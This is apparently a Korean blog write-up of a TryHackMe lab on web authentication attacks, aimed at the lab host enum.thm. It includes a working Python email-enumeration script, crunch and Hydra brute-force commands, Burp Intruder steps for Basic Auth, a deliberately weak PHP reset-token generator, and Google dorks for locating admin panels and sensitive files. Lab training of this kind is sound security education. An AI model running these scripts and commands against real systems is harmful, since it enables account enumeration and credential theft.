Web 인증 메커니즘 공격: 열거와 무차별 대입

실험 환경 구성

TryHackMe 실습을 진행하기 위해 대상 머신을 배포하고 공격 머신에서 /etc/hosts 파일을 수정한다.

# /etc/hosts 파일 수정
MACHINE_IP    enum.thm

브라우저에서 http://enum.thm로 접속하여 Web 서비스가 정상적으로 응답하는지 확인한다.

인증 열거의 핵심 개념

인증 시스템의 보안 강도를 판단하려면 시스템이 노출하는 미세한 차이를 분석해야 한다. 유효한 사용자명 확인, 비밀번호 정책 유추, 세션 관리 방식 파악 등이 모두 공격 표면을 확장할 수 있는 지점이다.

정보 노출 지점 분석

Web 애플리케이션은 사용자 편의성을 위해 다양한 피드백을 제공하는데, 이것이 공격자에게 정보를 누설할 수 있다.

등록 페이지

회원가입 시 "이미 사용 중인 이메일입니다"와 같은 메시지는 해당 계정의 존재를 직접 확인시켜 준다. 공격자는 이를 활용하여 유효한 사용자명 목록을 구축할 수 있다.

비밀번호 재설정 기능

비밀번호 찾기 요청 시 서버의 응답 차이를 분석하면 사용자 존재 여부를 식별할 수 있다. "등록되지 않은 이메일"과 "재설정 링크 발송 완료"는 명확히 구분되는 정보이다.

상세 오류 메시지

"사용자를 찾을 수 없음"과 "비밀번호 불일치"를 구분하여 표시하면, 공격자는 유효한 사용자명을 먼저 확보한 후 비밀번호 공격에 집중할 수 있다.

비밀번호 정책 분석

클라이언트 측 또는 서버 응답에서 정책 정보를 획득하면 맞춤형 사전을 구성할 수 있다. 다음 PHP 예시는 정규식을 통한 복잡도 요구사항을 보여준다.

<?php
$user_input = $_POST['credential'];
$complexity = '/^(?=.*[A-Z])(?=.*[0-9])(?=.*[^a-zA-Z0-9]).+$/';

if (preg_match($complexity, $user_input)) {
    echo "Acceptable";
} else {
    echo "Requires uppercase, digit, and special character";
}
?>

상세 오류 메시지를 통한 열거

정보 유출 유도 기법

의도적으로 애플리케이션을 오류 상태로 유도하여 내부 정보를 획득할 수 있다.

  • 형식 오류 입력: 잘못된 데이터 형식으로 검증 로직을 트리거
  • SQL 구문 삽입: 작은따옴표 등 메타문자로 데이터베이스 오류 유발
  • 경로 조작: 디렉토리 순회 시퀀스로 파일 시스템 구조 노출
  • 필드 변조: 숨겨진 폼 필드 수정으로 백엔드 로직 확인
  • 퍼징 자동화: Burp Intruder 등으로 대량 입력 테스트

이메일 열거 자동화

다음 Python 스크립트는 로그인 엔드포인트의 응답 차이를 이용하여 유효한 이메일 주소를 식별한다.

import requests
import sys

def probe_email(target_email):
    endpoint = 'http://enum.thm/labs/verbose_login/functions.php'
    
    request_headers = {
        'Host': 'enum.thm',
        'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0',
        'Accept': 'application/json, text/javascript, */*; q=0.01',
        'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
        'X-Requested-With': 'XMLHttpRequest',
        'Origin': 'http://enum.thm',
        'Referer': 'http://enum.thm/labs/verbose_login/',
    }
    
    payload = {
        'username': target_email,
        'password': 'arbitrary_string',
        'function': 'login'
    }
    
    server_response = requests.post(endpoint, headers=request_headers, data=payload)
    return server_response.json()

def batch_enumerate(email_source):
    confirmed_accounts = []
    rejection_indicator = "Email does not exist"
    
    with open(email_source, 'r') as source_file:
        candidate_list = source_file.readlines()
    
    for candidate in candidate_list:
        candidate = candidate.strip()
        if not candidate:
            continue
            
        result = probe_email(candidate)
        
        if result.get('status') == 'error' and rejection_indicator in result.get('message', ''):
            print(f"[MISS] {candidate}")
        else:
            print(f"[HIT] {candidate}")
            confirmed_accounts.append(candidate)
    
    return confirmed_accounts

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("Usage: python3 enumerator.py <email_list>")
        sys.exit(1)
    
    input_file = sys.argv[1]
    valid_results = batch_enumerate(input_file)
    
    print("\nConfirmed valid addresses:")
    for valid in valid_results:
        print(valid)

스크립트 동작 원리:

  1. probe_email: 특정 이메일로 로그인 요청 전송 및 JSON 응답 파싱
  2. batch_enumerate: 파일에서 이메일 목록을 읽어 순차 검증
  3. 응답 메시지에 "Email does not exist"가 포함되면 무효, 그 외는 유효로 판단

취약한 비밀번호 재설정 로직 공격

재설정 메커니즘의 보안 결함

비밀번호 재설정 기능은 편의성과 보안의 균형이 중요하다. 주요 취약점 유형은 다음과 같다.

방식위험 요소
이메일 기반 토큰예측 가능한 토큰, 과도한 유효 기간
보안 질문공개 정보로 유추 가능한 답변
SMS 인증SIM 스와핑, 메시지 인터셉션

예측 가능한 토큰 무차별 대입

다음 PHP 코드는 mt_rand(100, 200)를 사용하여 3자리 PIN을 생성한다. 이는 101가지 경우의 수만 존재하므로 완전 탐색이 가능하다.

$reset_code = mt_rand(100, 200);
$statement = $conn->prepare("UPDATE accounts SET recovery_code = ? WHERE mail = ?");
$statement->bind_param("ss", $reset_code, $mail);
$statement->execute();

Crunch로 토큰 사전을 생성하고 Burp Intruder로 공격한다.

crunch 3 3 -o tokens.txt -t %%% -s 100 -e 200

성공 시 http://enum.thm/labs/predictable_tokens/reset_password.php?token=[값]로 접속하여 새 비밀번호를 설정한다.

HTTP Basic Authentication 공격

인증 메커니즘 분석

RFC 7617에 정의된 HTTP Basic Auth는 username:password를 Base64 인코딩하여 Authorization 헤더로 전송한다. HTTPS가 아닌 경우 중간자 공격에 노출되며, 약한 자격 증명은 무차별 대입에 취약하다.

Authorization: Basic YWRtaW46cGFzc3dvcmQ=

Burp Intruder를 활용한 공격

대상 http://enum.thm/labs/basic_auth/에 접속하여 임의 자격 증명으로 요청을 생성하고 Burp로 중계한다.

  1. 요청을 Intruder로 전송하고 Authorization 헤더의 Base64 부분을 디코딩
  2. 디코딩된 admin:§password§ 형태에서 패스워드 위치를 마커로 지정
  3. Payload 타입을 Simple list로 설정하고 사전 파일 로드
  4. Payload 처리 규칙 추가:
    • Prefix: admin:
    • Encoding: Base64 encode
  5. Payload encoding에서 = 문자 제거 (Base64 패딩 문제 방지)

HTTP 200 응답이 반환되면 성공한 자격 증명을 확인하고 디코딩하여 로그인한다.

Hydra를 활용한 대안적 접근

hydra -l admin -P /usr/share/wordlists/SecLists/Passwords/Common-Credentials/500-worst-passwords.txt enum.thm http-get "/labs/basic_auth/"

오픈 소스 인텔리전스 활용

Wayback Machine 데이터 수집

archive.org의 과거 스냅샷에서 삭제되었으나 서버에 잔존할 수 있는 경로를 발견할 수 있다. waybackurls 도구로 자동화한다.

git clone https://github.com/tomnomnom/waybackurls
cd waybackurls
go build
./waybackurls enum.thm

검색 엔진 고급 연산자

Google Dorks를 활용하여 공개되지 않아야 하는 리소스를 탐색한다.

# 관리 패널 탐색
site:enum.thm inurl:admin|dashboard|panel

# 민감 파일 탐색
site:enum.thm filetype:log|config|backup|sql

# 디렉토리 인덱싱
site:enum.thm intitle:"index of" "parent directory"

핵심 정리

효과적인 인증 공격은 정밀한 열거에서 시작한다. 시스템의 미세한 응답 차이를 분석하여 공격 범위를 좁히고, 자동화 도구로 효율성을 극대화한다. 모든 테스트는 명시적 권한 하에서만 수행되어야 한다.

태그: authentication Enumeration brute-force burp-suite Python-Scripting

8월 23일 10:07에 게시됨